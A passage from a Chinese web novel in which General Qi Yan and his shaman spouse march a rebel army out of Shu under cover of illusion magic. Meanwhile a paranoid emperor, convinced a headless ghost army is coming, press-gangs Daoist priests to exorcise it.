祁雁唇角微微翘起来一点:“夫人这是在心疼我?” “……少自作多情。” “过去我确实只有一人,但现在不同了,”祁雁说着牵住对方的手,慢慢将手指扣进他的指缝,“夫人刚刚的话说得不对,此番我回京中,可不是孤身一人,有夫人相伴身侧,可敌千军万马。” “……” 苗霜的表情变得十分微妙,被他肉麻出了一身鸡皮疙瘩,忍不住搓了搓自己的胳膊:“我的毒确实可敌千军万马,只要你给我足够的药材,我能帮你把季渊的十五万大军全毒死也说不定。” “不战而屈人之兵,上策,季渊的兵,也是大雍的兵,自然是死得越少越好。” 苗霜瞪了他一眼,不屑道:“那你有本事别找我帮忙。” 说完,转身就走。 却被祁雁一把抓住,强行扣进了怀里:“那可不行,此番‘阴兵借道’,全仰仗夫人,没有夫人,我们是寸步难行。” 祁雁从背后将他抱住,轻轻亲吻他的耳根:“夫人若是想杀人,等有机会我带你去塞北,那些该死的狄历人,夫人想杀多少便杀多少。” “谁要跟你上战场,别做梦了。” 距离他们十步开外的地方,魏然汗流浃背。 不是……这……彭大人让他跟着祁将军,那他现在到底是上前去呢,还是不上去呢? 祁将军好像正在和夫人……你侬我侬,他现在去打扰不太好吧? 他明明记得两年前的祁将军不是这样子啊,当时他们不是去平定苗乱的吗?为什么现在又能和苗寨化干戈为玉帛,甚至娶了苗疆大巫为妻? 这两年里到底发生了什么,他现在到底该怎么办啊! 第110章 第 110 章 夫人这示爱之曲吹给谁…… 过了许久, 那两个亲热得旁若无人的家伙才依依不舍地分开,祁雁回过头,看向在一旁观望良久的人:“魏小将军, 有事?” 魏然也顾不上尴尬了,上前一步:“属下来向将军请示下一步计划。” “正巧, 我也要找你商量此事,”祁雁道, “随我走一趟益州营吧,夫人也一起。” 魏然:“是!” 三人在节度使府牵了三匹马,出城来到益州大营。 因为之前的募兵令,益州营的规模比原先大了许多,若非蜀地富庶,根本养不起这么多的兵,但大灾大疫过后,即便是富庶的蜀地也有些捉襟见肘了,不然, 彭鸿飞不会这么痛快地把兵借给他。 兵营里的氛围从来没有像今天一般高涨过,大雍的百姓纵然没见过祁雁的真容, 却少有几人不知祁雁的威名,更何况这批兵基本都是各地逃难而来的流民,饱受生计之苦,对昏君贪官苛税恨之入骨,此番得知祁雁是被冤枉的,个个义愤填膺, 又得知祁雁还活着,并且要带领他们造反杀昏君,皆是兴奋不已, 恨不得现在就上阵冲杀。 过分热情的士兵们吵得祁雁头都大了,只得御起内力,让耳朵别那么灵敏,带着魏然和苗霜进了营房。 作战地图就在墙上挂着,魏然又叫来了另外几个将领,和祁雁一起敲定了行军路线,当然,基本上是祁雁说着,他们听着。 四万人中拨出了三分之一的辎重兵,押运粮草先行,蜀道路险,最难的并非作战,而是运粮,彭鸿飞支援给他们的粮草除去路上损耗,实际也就只够大军吃半个月的,益州距梁州一千二百里,光行军就得一个月,如果没有沿途补给,他们甚至走不出这蜀地。 好在大雍当年强盛之时,屡次翻修蜀道,而今蜀道行路畅通,与关中商贸往来频繁,蜀道沿路城池从中获益,官员们皆是富得流油,彭鸿飞正愁找不到合适的理由搜刮点他们的家底,这次总算是名正言顺,就以修路为名,勒令他们支援粮草。 当然了,他也不能吃亏,这些粮草七成拨给祁雁起兵之用,剩下的三成他自己拿了,各地官员抗议声不断,但抗议无效。 彭鸿飞甚至跟祁雁说,看看哪里的官员喊得最大声,大军经过时先收拾他们一顿,虽然只是句玩笑话,但祁雁感觉这位节度使要是认真起来,还真能干得出来。 粮草到位,大军即刻开拔,千军万马经蜀道,过剑门,正值春暖花开时,青山如黛,万物苏生,栈道修凿于蜿蜒峭壁间,最窄处仅容一人一马,山重水复,曲折回环。 苗霜骑着一匹白马,随手捏了片树叶放在唇间,轻轻一吹,自成悠扬曲调,旋律回荡在青山绿水间,和着脚腕上一晃一晃的银铃声,让这单调的行军也变得生动起来。 祁雁骑着匹黑马跟在他身后,听了他这曲子,唇边不禁浮现出笑意:“如果我没记错的话,你们苗族吹木叶,是为讨心上人欢心,你吹这曲子,似乎也是示爱之曲,不知夫人这木叶是吹给谁听?” 苗霜伸出手,掌中的树叶随风而去,他并未回头,只道:“吹者无心,听者有意,将军认为我吹给谁听,就是吹给谁听。” 同行士兵们顿时吁声一片,不知是哪个胆大的开口:“兄弟们,今天咱们是不是得少吃点粮食,毕竟将军和夫人给咱们塞了这么多狗粮!” 周遭笑声不绝,祁雁将那片被风卷起的树叶捞住,顺手踹进怀中。 前方道路开阔起来,苗霜一夹马腹:“驾!” 数不清的蓝色蛊蝶伴飞身侧,将行军队伍隐匿于崇山峻岭间,神不知鬼不觉,悄无声息地离开了剑南。 幻术隐匿的队伍行至山南,杀了山南驻军一个措手不及,一日之内速破梁州,梁州刺史开城投降,梁州大仓粟米满溢,自此,祁雁所率兵马再无缺粮之危。 * 晏安城,皇宫。 “益州八百里加急!益州八百里加急!” 公文一路递送进皇宫,小太监双手托举着这封不知跑死了几匹马的公文,迈着小碎步跑到季渊跟前,双膝跪地:“陛下!” “什么八百里加急?”季渊不耐烦地瞥了他一眼,又含下一颗送到嘴边的荔枝,“青书,你替朕看。” 被唤作青书的太监擦了擦手,接过那封公文,仔细阅读一遍,面色微微变了:“陛下,这……” “何事?” 青书将公文呈递上来:“陛下还是亲自过目吧。” 季渊疑惑接过,只见那公文之上字迹潦草,竟染了几处暗红,似是血迹。 他腾地站起身来,每看一句,神色就沉重一分,那白纸黑字句句触目惊心,难以形容的恐惧漫上心头,看到最后,更是双手颤抖,打开的公文“啪”一声落在地上。 “无头厉鬼……”季渊的面色一点点变得惨白,某张无数次在噩梦中纠缠他的面容就要从脑海中跃将出来,让他踉跄着后退了一步,“莫非是祁雁……祁雁去剑南调过兵,这次又是剑南……没错,是祁雁,一定是祁雁来找朕索命了!” “陛下,鬼神之说不可信啊,”青书急忙扶住他,“祁雁已死,那颗头颅您还亲眼见过,怎么可能有厉鬼呢,依奴婢看,八成是这剑南节度使胡言乱语……” “正因为那颗人头朕亲眼见过!”季渊一下子抬高音量,那颗装在盒子里的可怖头颅仿佛还在眼前,“祁雁身首异处,死也不得安息,他恨朕,所以化作厉鬼来找朕索命!青书,这厉鬼定是祁雁!” 青书被他死死攥住双手,力道之大,捏得他手腕生疼:“陛下,这……” 季渊又想起什么,猛地松开他,捡起了掉落在地的公文:“祁雁带走了剑南的兵……祁雁要反,祁雁要找朕索命!” “……陛下,”青书安抚他道,“剑南节度使只是说,那无头厉鬼将他砍成重伤后离去,麾下兵马还在,什么呆若木鸡不通人语……剑南之前遭逢大疫,许是疫病留下的后遗症呢,他怕不是在为自己治疫不力开脱。” “是,是吗……”季渊跌坐下来,惊悸的心跳激如擂鼓,“当真不是祁雁的鬼魂来找朕索命?” 青书来到他身边,用袖子帮他拭去额头冷汗,在他太阳穴上轻轻按揉:“陛下可是近日又做噩梦了?” 季渊叹口气,闭上眼睛:“朕以为杀了祁雁,就能过上安生日子,可谁成想,自从祁雁身死,闯进梦里对朕纠缠不休的频率却不减反增,朕每每梦到被他一刀捅进心口,惊惧醒来后便心悸连连——青书,你说祁雁为何总缠着朕不放?” “何太医给开的方子可是又不管用了?”青书道,“依奴婢看,陛下是操劳过度,奴婢将安神香给陛下点起来吧。” 季渊点了点头。 青书打开香炉,清理了内中香灰,将一烛安神香点燃,袅袅幽香在寝殿内飘散开来,季渊很快就觉得心悸缓解了不少。 他紧锁的眉头慢慢放松:“青书,把圣蛊拿来给朕看看。” “是。” 青书从床下暗格里取出一个小盒子,小心交到季渊手中。 季渊打开盒子,白玉般的圣蛊正在食用前些日子刚添进去的药草,他轻轻摸了摸虫子的背甲,圣蛊也伸出触角,亲昵地触碰他的指尖。 “这圣蛊当真很喜欢您呢,”青书笑道,“可见,您确为圣蛊认可的万世明君。” “是吗,”季渊盖上盒盖,“既然如此,祁雁为何要与朕作对?” “祁雁逆贼,贪得无厌,嫌您给的赏赐不够多,犯上作乱,谋图皇权,陛下待他已然不薄,是他自己不知感恩。” “你说得对,”季渊的目光渐渐清明起来,“可若他真的化作厉鬼,率阴兵来找朕索命,朕又该如何?” “这……”青书有些为难,“奴婢一介宦身,不敢妄议。” “说,朕赦你无罪。” “奴婢认为,陛下不妨再等等,剑南节度使所言实在令人难以信服,祁雁若真率兵谋反,不日之内必有动向,若什么动静都没有,可不就说明文书内容是假,此人借鬼神之说掩盖自己治疫不力之失,欺君罔上,当斩。” 季渊琢磨了一会儿,缓缓拉过他的手,细细摩挲:“也罢,那朕就听你的,再多等几日。” “陛下近日操劳太过了,还是保重龙体为上,”青书又道,“何太医开的方子却也不管用,陛下不妨再换个太医来瞧瞧。” “不必了,”季渊有些疲倦地闭上眼,“朕这梦中惊悸之症,自幼便有,看了多少太医也不见好,你陪着朕时,朕便觉好过些,今夜也给朕侍寝吧。” “……是。” 季渊却没想到,这一等,就等来了梁州失陷的消息。 据梁州传来的急报称,他们被一伙不明之物袭击,甚至没人看清袭击他们的究竟是不是人,只有鬼魅般出现的黑影,这些东西毫无声息地接近,势如破竹,梁州驻军想要抵挡,刀砍下去,却伤不到它们分毫。 本就惶惶不可终日的季渊一听此言,顿时方寸大乱:“朕就说是祁雁的鬼魂!” “陛下,奴婢还是不信这世上真有鬼神……” 季渊却不想再听他说话,直接打断了他:“剑南可有新消息传来?” 青书摇了摇头:“没有。” “出蜀之路只有一条,沿途州县可有看到大军出山?” “并未有人上奏……” “可有粮草调动?” “……也未曾听闻。” “没人看到兵马粮草调动,梁州却破了,不是阴兵借道是什么?!只有鬼魂才不需要吃饭!” “这……” “是祁雁……”季渊用力闭眼,浑身剧烈颤抖,“是祁雁带着万千阴兵来找朕索命了!” “陛下,这也许……” “不行,他已经打到了梁州,再往前一步就是晏安城了!给朕拦住他,给朕拦住他!” “陛下……” “朕手下还有多少兵力?”季渊蓦地看向青书,“祁雁带了多少人?” “剑南传来的急报上说,剑南四万驻军皆出现了类似失魂的症状,”青书道,“您手中禁军,共计十五万人。” “四万,四万……”季渊焦急地在殿内踱步,“你说,朕派多少人能拦下他?” “奴婢不知。” “没用的东西!”季渊呵斥道,“你去把那个谁,把那个姓谢的将领给朕叫来。” “谢将军……三年前就已经被您杀了。” “什么?”季渊愕然,“那还有那个姓贺的……” “贺将军半年前也被您杀了。” “……”季渊目瞪口呆,“那现在禁军是谁统领?” “是熊将军。” “去把他给朕叫来!” “是。” 半晌过后,熊将军匆匆赶来。 季渊:“朕要你拦住祁雁,你需要多少兵马?” “这……”熊将军摸了摸后脑勺,“若有十万之师,定能大胜而归!” 青书皱了皱眉:“十万,太多了吧?祁雁麾下总共不过四万人,就算他已攻破梁州,打到晏安来也要翻越秦岭,山道险阻,易守难攻,何至于派出这么多兵力抵挡?” 熊将军一看反对他的竟然是个太监,登时不高兴了:“嘿,你懂什么,谁人不知那祁雁最擅长打以少胜多之仗,何况翻越秦岭有那么多条路可走,谁知道他要走哪一条?若是支援不及被他攻破,这罪责你担得起吗?” 青书:“……” “好了,朕就给你十万兵马,”季渊摆了摆手,已是不耐烦了,“不论祁雁走哪条路,都把他给朕拦下来!” “臣定不辱命!”熊将军单膝跪地,“只是陛下,若那祁雁所带真是阴兵,刀砍都没用,纵然臣率十万兵马,也不一定……能奈何得了他们啊。” 季渊暴跳如雷:“你还要如何?!” “陛下莫急,臣以为,既然是阴兵,那就得用对付阴兵的法子,陛下不妨寻些道士来做法事,让那些厉鬼现出真身,破了他们的防御,臣定能如虎添翼!” “道士?做法?”季渊将信将疑地看着他,“熊爱卿所言当真?” “当然!”熊将军拍着胸脯保证,“这种事臣见得多了,那些战场上死去的士兵,亡魂化作厉鬼之事常有,只要请道士来做一场法事,驱散他们的怨气,这些厉鬼自然就厉害不起来了。” 季渊皱眉思忖,似乎在考虑这个方案的可行性,片刻道:“行吧,那就依你说的办。” 110-120 第111章 第 111 章 啊?我杀祁雁? 熊将军领了君命, 离开皇宫。 下属立刻凑上前来,问道:“将军,怎样了?当真是阴兵借道吗?” 这几天梁州被阴兵攻破的消息已经传遍了整个京都, 街头巷尾,茶余饭后, 乃至茶楼里的说书人说的书,都换成了《无头将军破梁州》。 战场上浴血厮杀无人在意, 市井怪谈最是令人着迷,经过人们的一番添油加醋夸大其词,阴兵借道一说甚嚣尘上,假的也要传成真的。 更有甚者说自己从梁州逃难而来,亲眼目睹那无头将军何其可怖,万千阴兵如何势如破竹,讲得是绘声绘色,煞有介事。 人们纷纷猜测,这无头将军就是当年惨死的祁雁, 据说祁雁到黔州上任时被南照奸细谋害,他的尸首千里迢迢送进京都, 却只剩下一颗脑袋,身首异处,故而怨气冲天,死后不愿归去,化为厉鬼,寻仇而来。 更有人猜测, 祁雁当年或许是冤枉的,祁家世代忠良,却以谋逆之罪被满门抄斩, 若非不冤,怎会因怨成鬼? 京中百姓本来对祁雁是个逆贼深信不疑,那些不信的也在皇权威压下不敢吭声,现在无头将军是祁雁的消息一出,原本被压灭下去的流言又从大街小巷冒出来,许多坚信祁雁是逆贼的也有些动摇了。 “哪有什么阴兵,”熊将军一摆手,“我从不相信世上有鬼神之说,什么无头将军,都是扯淡。” “那您怎么还提出要找道士来破局?”属下不解地问。 熊将军环顾四周,将他拉到无人处,压低了声音:“陛下这两年愈发疑神疑鬼,一言不合就要砍头,他已经确定是祁雁的鬼魂来找他索命,我不顺着他说,难道等着他来砍我的脑袋吗?” 下属还是有点怀疑:“可益州传来急报,和梁州被破的消息只间隔十天,两地相距一千二百里,如果不是阴兵,哪路兵马能跑那么快?” “这你还不懂?要么是那剑南节度使被祁雁胁迫,要么是两人沆瀣一气,故意晚传军情,我猜后者的可能性更大,不然大军出蜀这么大的动静,怎么可能一点消息都没有?一定是剑南节度使帮他压了下来。” “对啊!”下属一捶手掌,“将军您真是明察秋毫!” 熊将军吃了这记马屁,得意洋洋道:“祁雁自以为做得神不知鬼不觉,以阴兵借道之说惑乱京都,他能骗得过陛下,难道还能骗得过本将军?” “所以将军,咱们现在该怎么办?” “还能怎么办,自然是一边找道士稳住陛下,一边调集大军尽快启程,八百里秦川,他少说要走二十天,我们现在去截他,刚好能把他堵在关口。” 熊将军说着,吩咐手下人道:“你们,立刻把晏安周边各州县所有能找到的道士都给我叫来,速去!” “是!” * 傍晚时分,景行拿着鸡毛掸子,认认真真清扫了三清像上的蜘蛛网,又往香炉里恭恭敬敬上了三炷香。 他前不久刚从普州回来,数月未归,道观似乎比之前更破了,可惜他这一趟南下也没赚着钱,还差点把小命搭上。 “求祖师爷显灵……”他闭着眼睛,虔诚默念,“来个人傻钱多的雇主,赐我个大单子,只要有了钱,我一定立刻马上修缮道观。” 虽然已经是第一百零八次发誓了,不过这次真是认真的。 刚祈祷完,香炉里的香还没有燃尽,就听见殿外传来一阵嘈杂,几人急匆匆地闯进观内:“这有个道观!” 景行诧异回头,心说不是吧,难道祖师爷真的显灵了? “有人吗?”来人在院子里大声询问,“有人在吗?” “这好像是个荒废的道观啊,”另一人道,“估计没人吧。” “真是点儿背,”为首的那个啐了一口,“我们跑了这么多地方,居然一个道士都没寻到,照这样下去,我们怎么交差?” 景行急忙从殿内迎了出来:“几位……请问是来上香,还是……” 那三人齐刷刷回头,看他的目光活像饿狼见了肉,将他上下打量一遍:“你是道士?” 景行低头看了看自己打了许多补丁的道袍:“我看起来不像道士吗?” “太好了!”那三人两眼放光,为首的那个指挥两个手下,“快,带走!” “什么?”景行大惊失色,“你们要干什么!我可没坑蒙拐骗没做违法乱纪的事!” 对方却根本不理会他,直接将他绑上了马,景行拼命挣扎:“你们到底是什么人啊!” “我们……东家请你去做一场法事,”那人从怀里掏出一块银铤,伸手比了个五,“若事成,给你这个数。” 景行咽了口唾沫。 五块银铤?! 难道祖师爷真的显灵了,大单子这就找上了门? 虽然这几个家伙有些奇奇怪怪的,举止粗俗蛮不讲理,但……那是五块银铤啊! 景行顿时不挣扎了,换上一副笑脸:“好说好说,不过既然是做法事,那不妨先跟我说说大致情况?我也好做准备——啊啊啊啊!” 座下的马突然狂奔了起来,对方一鞭子抽上马屁股:“等到了你就知道了!” “啊啊啊跑慢点啊——!” * 景行被一路带进了京都,颠得魂儿差点丢在路上。 连续骑马一整夜,天色初明,好不容易下马时,腿都已经没知觉了,以为终于能休息一下,却又被人强行架起来,不由分说地往前拖。 景行艰难抬头,这才发现前面的不是别处,貌似正是皇宫。 ……坏了。 这单子是否有点太大了。 昏君请道士做法能有什么好事,当年季渊初登基,宫内血流成河,据说冤魂笼罩在晏安城上空,数月不散,处处鬼哭狼嚎,大白天的,百姓们甚至不敢开门开窗。 那时师父说要去京中做法事超度亡魂,这一去,却再也没有回来。 像师父那般法力高强的人都折在了京都,这一次,该不会轮到他自己了吧。 景行啊景行,明明知道天上不会掉馅饼,意外之财不可图,怎么就为那五块银铤鬼迷了心窍? 他想要拒绝,然而连夜奔波水米未进,已经让他浑身发软,话都说不出来了。 终于,架着他的人把他放了下来,景行脑子发晕,直接跪倒在了地上。 不知是谁递来了水袋,他喝了两口,这才感觉自己又活了,冲那人道了声谢,在别人的搀扶下起身,一抬头,才发现和自己一样被强行绑来的道士竟还有二三十个。 这些人中有须发皆白的老者,也有才十几岁的少年,有他一眼能看出道行的道友,也有一看就是路边靠坑蒙拐骗赚钱的假道士。 景行顿时蒙了,心说难道昏君又发癫大开杀戒了?不然为什么要召集这么多道士来做法? 他似乎是最后一个到的,还没来得及向周围人打听究竟是怎么一回事,就见一道被簇拥着的身影出现在亭台之中,那人居高临下,不怒自威,正是季渊无疑。 “草民叩见陛下!” 道士们稀里哗啦地跪了一地,不知是谁拉了拉景行的袖子,景行这才回过神来,也跟着跪下。 “无须多礼,”季渊一摆手,“青书。” “是。”侍候在他身旁的太监指挥着手下,一个大箱子被抬到道士们面前,小太监将箱子打开,里面是满满的一箱银铤。 “替朕办成了事,这些都是你们的,”季渊坐在亭中,“可知道朕为什么叫你们来?” “草民知道!”一个假道士率先开口,“近日阴兵攻破梁州的消息流传甚广,陛下唤我们来,定是让我们做法除鬼!” 景行满头问号。 什么玩意?阴兵?攻破梁州? 他昨天才回到道观,最近发生啥了? 季渊点了点头:“不错,还有呢?” “还有……率领那群阴兵的,是一无头将军,”又一人道,他偷偷抬眼,小心翼翼地打量着皇帝的神色,“坊间都传,那无头将军是……是……” “是祁雁!”季渊猛地一拍桌子。 众道士吓了一跳,景行也吓了一跳,瞪大双眼,不敢相信自己的耳朵。 祁雁死了? 瘸腿的真龙,这回成无头真龙了? 开玩笑吧! 自从上次给祁雁算出死劫,他就没再给他算过命,一来没有他的贴身物品,二来那帝星难参,再算上几次,只怕他自己要先没命了。 难道他真的没度过死劫?可既然人都死了,又怎么能破梁州? “祁雁恨朕定他谋逆之罪,诛了祁家满门,故而死了都不安生,竟化作厉鬼,来京都找朕索命寻仇!”季渊冷冷注视着前方跪了一地的人,“如此恶鬼,诸位道长,可有什么好主意啊?” 那年逾古稀的老道士拄着拐杖,把头偏向季渊这边,用手拢音:“什么?寻头?” 季渊眯起眼睛。 众人额头纷纷滑下冷汗,有人想要制止他:“前辈,耳背就别说话了!” 老道士:“你说什么?大点声!” 道士们一片死寂,接二连三低下了头,生怕皇帝一怒之下砍了自己的脑袋。 那假道士却灵机一动,跪直了身体:“前辈说的没错!祁将军此来,并非为寻仇,而是‘寻头’!” 其他人纷纷用看神经病的眼神看向他,季渊却饶有兴味地向他投来目光:“道长此言何意啊?” “祁将军并非怨恨陛下,只因死状凄惨,身首异处,故而不得安息!他的头颅在京都,他奔京都而来,只为寻回自己的头!陛下只需将他的头颅还给他,自然能平息他的怨恨,送他离去!” “是吗?”季渊站起身来,一级一级下了台阶,走到对方面前,“既然只为寻回自己的头,又为何率领阴兵攻破梁州?” “这……这……”假道士背后已被冷汗湿透,思绪电转,“是、是因为……祁雁生前为将军,死后化作厉鬼,遵循生前本能,他身死之处最近的兵营在剑南,便寻剑南而去,夺阴兵符,统帅阴兵——陛下,那些阴兵其实只是剑南将士们受鬼气冲击,生魂离体,只要超度了祁雁,鬼气散尽,将士们自会醒来!” 景行一脸呆滞地看着他。 这都哪跟哪啊? 没想到季渊听完这番话,竟当真陷入了思考:“道长是说,只要把祁雁的头颅还给他,便能破除他的怨气,将他超度,而超度了祁雁,阴兵自会散去?” “没错!” “那你们还在等什么?”季渊拍了两下掌,“祁雁的头颅在何处?” “……扔到城外乱葬岗了。”暗卫落在他身边,如实答道。 没敢说是奉陛下之命。 季渊怒道:“还不速速寻回!” 暗卫:“……” 现在去找一颗一年前扔的人头,真有意思。 然而君命不可违,他还是只得领命:“是。” 暗卫无声而来,又无声而去,季渊不耐烦地摆摆手,对道士们说:“大军已经开拔,诸位道长,速去吧。” 道士们纷纷起身,季渊又道:“务必将祁雁给朕除干净,若是办不到……你们就全都别回来了。” 景行跟着众人离开皇宫,因为饥饿而运转迟缓的大脑终于搭上了弦。 他后知后觉地摸了摸后脑勺。 所以他们这次的任务是…… 啊?超度祁雁? 第112章 第 112 章 提着祁雁的脑袋去向陛…… 来不及再细想, 所有道士被打包装上了马车,送往前线,追赶大军。 景行这辈子还没接过这么离谱的单子, 更加没上过战场,也不知道是冲击力太大还是饿得, 一时间有些精神恍惚。 才刚回到道观就遇到这种事,早知道他就干脆不回来了, 这帝星果然不能乱碰,一不小心卷进他们的因果,就再难独善其身。 敞篷马车上坐了七八个人,皆是相顾无言,过了半晌,才有人壮着胆子开口:“军爷,我做法事的家伙都没带着,能不能放我下车,容我去取一趟?” “不能, ”负责押送他们的士兵语气不容置喙,“几位道长需要什么直接说, 等到了地方,我们帮你们准备,但要是想中途逃跑,小心脖子上那颗脑袋不保。” 问话的道士一听此言,不禁面皮一阵抽搐,连连摆手:“不敢, 不敢,有东西就……就行。” 另一个面色和善些的士兵安抚他道:“道长莫怪,我们也是奉命行事, 若是放跑了你们,皇上怪罪下来,我们的脑袋也不保啊,大家将心比心,还是先考虑考虑怎么把这件事办成了,到时候大家都能平安无事,还能得些赏赐,您说是吗?” 道士勉强露出个笑容:“军爷说的是……” “唉,”一个留着山羊胡子的道士叹气道,“不是我们不想,只是……听闻那祁将军生前便骁勇无比,枪下亡魂无数,这样的人化作厉鬼,岂是随随便便就能超度的?我这点道行,怕是禁不住他一击啊。” 少年道士开口:“前辈莫灰心,又不是只有您一人,我们二十多人加起来,难道还降不住一个厉鬼吗?” “可不敢说,那祁雁生前便号称以一敌千,如今死了,戾气只怕是更胜从前,别说二十人,就是二百人也不一定奈何得了他啊。” “可皇命在身,我们不上也得上,拼死一搏还有一线生机,临阵退缩只有死路一条,前辈就别再灭自己志气长他人威风了。” “你这娃娃,真是年轻气盛。” 旁听他们讨论的景行:“……” 不是,这帮人怎么还真信了? 祁雁可是未来的真龙天子,他可不信他真的会变成鬼——除非鬼也能当皇帝。 摇了摇头,他向押送他们的士兵恳求道:“军爷,别的不谈,能先给口吃的吗?我这跑了一整夜,到现在还没吃一口东西,恐怕等不到做法除鬼,就要先饿死了。” 那士兵看了他一眼,丢给他一个油纸包:“只有几个野菜团子,道长别嫌弃。” “不嫌弃,不嫌弃。” 景行接了纸包,从里面拿出一个就开始啃,他实在太饿了,野菜团子都吃得津津有味。 别说,这军粮还真挺好吃的,比他平常吃的伙食香多了。 或许是他吃得太香,其他几人也看着他直咽口水,景行犹豫了一下,问道:“你们也要?” 众人连连点头。 内心挣扎片刻,景行还是把刚拿到手还没捂热乎的野菜团子分给了众人,少年道士没要他的野菜团子,只递给他一个水囊:“前辈,您喝水。” “多谢小友。” 几人分着吃了东西又喝了水,气氛总算是轻松了一些,那许久没开口的假道士向景行看来:“这位道友好像完全不紧张,莫非道友胸有成竹,有办法对付那无头厉鬼?” “哪能啊,”景行急忙将皮球踢了回去,“我学艺不精,师父骂我烂泥扶不上墙,三年前就把我从师门赶出来了,平日里就靠给人看看相算算命,混口饭吃,对付什么厉鬼,我是一点办法也没有,只是不想死前饿着肚子,就算要死,也得当个饱死鬼吧?” 山羊胡子捋了捋自己的山羊胡:“小友能将生死置之度外,倒确有几分得道之意。” “前辈谬赞了。” 商量半天也没商量出个所以然,马车就这样继续向西行进,而远在千里之外的梁州,苗霜正在喂养自己的蛊虫。 他将自己的血滴进虫罐,祁雁忽从旁边靠过来,从背后抱住了他。 “……别捣乱,”苗霜掰开他的手,“去把那边的药材给我拿来。” “好。” 祁雁帮他取了药材,苗霜将那些药材一一塞进虫罐里,正在这时,探子一路策马而来:“将军!” 祁雁抬起头:“何事?” “将军真是料事如神!”探子十分激动地从马背上跳下,来到他面前,“京都方向果然派兵过来了!” “多少人?” “声势浩大,约有十万!” “十万……”祁雁冷笑了一下,“何人带兵?” “是京中禁军统领,熊将军。” “知道了,再探再报。” “是!” 探子很快离去,苗霜盖好了虫罐盖子,头也不抬地说:“季渊还真是怕你,你不过带了四万人马,他就要派十万大军,如果我没记错,他手下能调动的禁军总共不过十五万,真是一点退路都不给自己留啊。” 祁雁:“季渊本就不懂如何打仗,这些年手下将领被他一杀再杀,禁军统领换了又换,有能力者被他认为不忠,忠心耿耿的却又大多是只会阿谀奉承的草包,拿那位熊将军来说,我在京中时也和他见过几面,那时他还没高升,此人并没真正上过战场,纸上谈兵,却自负托大。” “你对季渊身边的人了解得如此透彻,我看他也没法不防你,”苗霜笑道,伸手在他胸前点了点,“你落得这般田地,也只能说你咎由自取。” 祁雁无法反驳。 若帝王信他,他便俯首称臣,若帝王猜忌,那他也只能弑君,自己称王,他和季渊之间已经不会有第三种结果。 事已至此,他关注的其实已经不是季渊了,前些日子他派了些人假扮梁州百姓,四处散布阴兵攻城的谣言,而京都百姓真能被谣言蒙骗,可见帝心大乱,已然顾不得命人平息谣言。 他现在更在意的,是瑞王。 还有个潜在的威胁,河东节度使,范阳兵马赴晏安必惊动河东,河东节度使最会看风使舵,此番定有动作,且看他究竟选择帮哪边。 祁雁因为想事情出了神,完全没留意苗霜的表情变得有些不悦,对方收回落在他胸前的手:“还没当上皇帝呢,就这么日理万机,等你真坐上那把龙椅,岂不是要忙得找不沾地,连搭理我的时间都没有了?” “怎会呢,”祁雁迅速回神,“刚刚明明是夫人叫我别捣乱,怎么这会儿又怪罪起我来?” “少给自己开脱。” “那不开脱,”祁雁环住他的腰,凑过来吻他,“夫人也不许拒绝我。” 两人旁若无人地亲热了一会儿,周遭守卫眼观鼻鼻观心,早已经习惯当电灯泡了,就连魏然都对他们的将军滤镜碎了一地,从没想过哪对夫妻竟能如此腻歪。 祁雁他们在这里悠哉悠哉地谈情说爱,另一边,熊将军带领大军一路急行,赶到斜谷时,却根本没有发现祁雁的踪影。 “不对劲啊,将军,”前来回报的探子感觉十分邪门,“咱们不是被耍了吧?整个秦岭根本没有大军经过的痕迹。” 熊将军皱了皱眉:“莫非他们现在还在梁州?” 下属搓了搓胳膊,越想越觉得毛骨悚然:“将军,该不会真的是……阴兵吧?阴兵过境,自然不会留下痕迹,他们会不会早已经出谷,往晏安城去了?” “胡扯!”熊将军呵斥道,“这世上哪有什么阴兵!祁雁一定是得到陛下派兵的消息,心里害怕,退到梁州去了,他手下不过四万人,怎敢与我十万大军对抗!” “那……咱们现在怎么办啊?他若待在梁州不出来,岂不是要跟咱们打持久战?” 熊将军一时也有些犯难,若打持久战,那就是拼粮草,他们背靠关中,粮草自然不愁,而祁雁占据了梁州,梁州所在的平原也是一大粮仓,支撑个三五年不成问题,真要是拼粮草,短时间内不可能分出胜负。 他们的陛下可等不了那么久。 “怎么办啊,将军?” “迟则生变,得想个办法诱他出来,”熊将军停下脚步,“过秦岭的路不过四条,东边两条山路崎岖,大军不可能通行,只剩西边两条。” “斜谷道经过多次修缮,而今最为平坦,而故道上有散关镇守,极难正面攻破,若是你,会选哪一条路?” “那自然是斜谷道了,”属下道,“散关那地方,一夫当关万夫莫开,放三千兵力,能挡住十万人,谁没事会去打啊。” “祁雁会,”熊将军脸上露出笑容,“祁雁此人,最擅长打不可能之战,我们只需让他知道,我们把全部的兵力都放在了斜谷,只留六千人镇守散关,你猜,他会不会铤而走险?” “将军英明啊!”下属脸上的崇拜之色溢于言表,“等他率大军冲击散关,我们就将他们一网打尽,再乘胜追击,夺回梁州!” “不错,”熊将军得意道,“什么常胜将军,从无败绩,今日,我便要提着他的脑袋去向陛下领赏!” 第113章 第 113 章 夫人,启程。 “将军!”探子飞马来报, “敌方大军在眉坞附近驻扎,又派了一支精兵支援散关,约莫两千人!” 祁雁点了点头, 继续帮苗霜捣药:“再探再报。” 几位将领恰好都在,其中一人道:“驻扎眉坞, 这是打算镇守斜谷?” 另一人道:“应该是吧,出秦岭的路只有两条可通大军, 斜谷道最为平坦,他们肯定是怕我们从斜谷破关。” “可故道也并非走不得,只不过需突破散关,他只调了两千精兵驻守,未免太托大了吧?” “如果我没记错,散关本来就有四千常驻守军,再添两千精兵,那就是六千人,足够挡住二十万大军了, 咱们这四万人,上赶着去送死啊?” “二十万大军, 那得是乌合之众,也不看看咱们是谁的兵?”那将领说着看向祁雁,“将军,那姓熊的定是料定我们不敢攻散关,咱们不妨反其道而行之,杀他个措手不及!” 苗霜将药草叶子薅下来, 丢进祁雁的药臼里,祁雁并未抬头,专心致志地捣药, 片刻才道:“魏小将军以为呢?” 始终没吭声的魏然这才开口:“属下认为……祁将军威名世人皆知,常人不敢打的战役,将军敢打,既然我们知晓,那敌军一定也知晓,他们说不定故意放出假消息,让我们不敢从斜谷破关,引诱我们铤而走险走故道,散关本就极难从正面攻破,我们若真率大军冲关,他们也派大军支援,输的只能是我们,到时候我们兵败而退,他们乘胜追击,极有把我们一网打尽的可能。” 听了这话,其他几位将领也觉得有道理,纷纷沉默下来。 祁雁十分赞赏地看向魏然:“魏小将军年纪轻轻,谋略却已远超常人,假以时日,必成大器。” 